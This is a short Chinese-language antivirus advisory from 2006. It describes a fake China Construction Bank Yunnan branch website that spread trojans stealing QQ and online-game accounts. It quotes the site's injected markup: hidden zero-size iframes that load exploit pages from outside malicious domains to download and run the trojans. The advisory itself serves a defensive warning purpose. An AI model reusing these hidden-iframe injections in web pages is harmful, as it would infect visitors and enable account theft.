2006年11月2日，江民公司反病毒中心监测到，一个恶意网站假冒中国建设银行云南分行网站，传播“QQ大盗”和武林外传游戏木马。

    江民反病毒专家介绍，该假冒网站地址为http://www.e-lsw.com/yinhang/jsyh/，首页页面隐藏打开恶意网页http://www.xxoxx.net/qq/2.htm：
    AcOol PS：

<iframe src="http://www.xxoxx.net/qq/2.htm" width=0 height=0></iframe>

    后者又会调用http://www.660083.com/网站上的多个恶意脚本，下载并自动运行“QQ大盗”木马和“武林外传”木马。这2个木马会对用户的QQ号和武林外传游戏帐号构成很大威胁，并会尝试关闭多款国内外知名杀毒软件。
    AcOol PS：

<script language="javascript" type="text/javascript" src="http://js.users.51.la/614145.js"></script> <noscript><a href="http://www.51.la/?614145" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/614145.asp" style="border:none" /></a></noscript> <script src='http://s24.cnzz.com/stat.php?id=287008&web_id=287008&online=2' language='JavaScript' charset='gb2312'></script> <iframe src="http://www.660083.com/qq/qq/1.htm" width=0 height=0></iframe> <iframe src="http://www.660083.com/heiying/1.htm" width=0 height=0></iframe> <script language="javascript" src="http://count18.51yes.com/click.aspx?id=180607792&logo=8"></script>

    江民反病毒专家提醒广大用户，在登陆网上银行时，务必仔细辨别网站真伪，真建行网站的网址为http://www.ccb.com。针对该网冒网站传播的木马病毒，江民杀毒软件10月30日病毒库即可全面查杀。江民公司提醒广大网民，在上网浏览时一定要开启杀毒软件的实时监控功能，并要经常升级病毒库，以免受到病毒攻击。